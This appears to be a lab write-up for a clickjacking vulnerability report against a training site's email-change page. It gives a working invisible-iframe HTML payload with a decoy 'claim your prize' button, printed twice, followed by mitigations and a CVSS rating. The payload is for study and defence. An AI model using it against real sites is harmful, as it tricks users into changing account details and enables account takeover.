

Title of Issue

Clickjacking — Basic UI Redress Attack Bypassing CSRF Token Protection

Description

The application's account management page (`/my-account`) does not implement `X-Frame-Options` or `Content-Security-Policy: frame-ancestors` headers, making it possible for an attacker to embed the page inside an invisible `<iframe>` . By layering a deceptive element (e.g., a "click here to win" button) precisely over the legitimate "Update email" button within the invisible frame, the attacker tricks an authenticated victim into submitting the email-change form without their knowledge.

Notably, this attack bypasses CSRF token protection because the victim's own browser submits the form — including the valid CSRF token — through the iframe. The CSRF defence is rendered ineffective when the page can be framed.

Affected Page: `/my-account` (Change Email functionality)

Steps to Exploit

1. Log in to the application as `wiener:peter` .
2. Navigate to the **Go to exploit server** link in the lab banner.
3. In the exploit server body, enter the following HTML payload:

```
<style>
  iframe {
    position: relative;
    width: 700px;
    height: 500px;
    opacity: 0.0001;
    z-index: 2;
  }
  div {
    position: absolute;
    top: 470px;
    left: 60px;
    z-index: 1;
    font-size: 28px;
    color: red;
  }
</style>
<div>Click here to claim your prize!</div>
<iframe src="https://<lab-id>.web-security-academy.net/my-account"></iframe>
```

4. Adjust `top` and `left` values to align the decoy element exactly over the **Update email** button.
 5. Click **Store** to save the payload on the exploit server.
 6. Click **Deliver exploit to victim** to serve the page to the simulated victim.
 7. The victim sees the decoy button, clicks it, and unknowingly submits the email-change form.
-

Proof of Concept

Exploit HTML:

```
<style>
  iframe {
    position: relative;
    width: 700px;
    height: 500px;
    opacity: 0.0001;
    z-index: 2;
  }
  div {
    position: absolute;
    top: 470px;
    left: 60px;
    z-index: 1;
    font-size: 28px;
    color: red;
  }
</style>
<div>Click here to claim your prize!</div>
<iframe src="https://<lab-id>.web-security-academy.net/my-account"></iframe>
```

How it works:

- The `<iframe>` loads the victim's authenticated `/my-account` page with `opacity: 0.0001` (effectively invisible).
- The `z-index: 2` places the iframe on top of the decoy `<div>`.
- The decoy text is positioned to align with the **Update email** button inside the iframe.
- When the victim clicks the decoy, they are actually clicking the **Update email** button within the invisible iframe — submitting the legitimate form with their own CSRF token.

Impact

- Victims unknowingly perform authenticated actions (email change, password reset, funds transfer) on their own accounts.
- Bypasses CSRF token protections — no token theft required.
- Can be used for account takeover (attacker-controlled email → password reset).
- Any clickable authenticated action on a frameable page is potentially exploitable.

Mitigation / Remediation

1. Implement **X-Frame-Options: DENY** or **X-Frame-Options: SAMEORIGIN** on all sensitive pages to prevent them from being embedded in iframes.
2. Use **Content-Security-Policy: frame-ancestors 'none'** — the modern and more flexible replacement for **X-Frame-Options**.
3. Add **frame-busting JavaScript** as a defence-in-depth measure (note: this can be bypassed and should not be the only control).
4. **Require re-authentication for sensitive actions** such as changing account email or password.

5. Implement SameSite cookie attribute (SameSite=Strict or Lax) to restrict cross-site cookie transmission.

CVSS Score

CVSS v3.1 Score: 5.4 (Medium) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Attacker hosts the exploit page externally
Attack Complexity	Low	Simple iframe overlay, no advanced exploitation
Privileges Required	None	Attacker needs no account on the target application
User Interaction	Required	Victim must be authenticated and click the decoy
Scope	Unchanged	Impact limited to the victim's account
Confidentiality Impact	Low	Attacker gains indirect control of victim's email
Integrity Impact	Low	Account email is changed without victim's consent
Availability Impact	None	No denial of service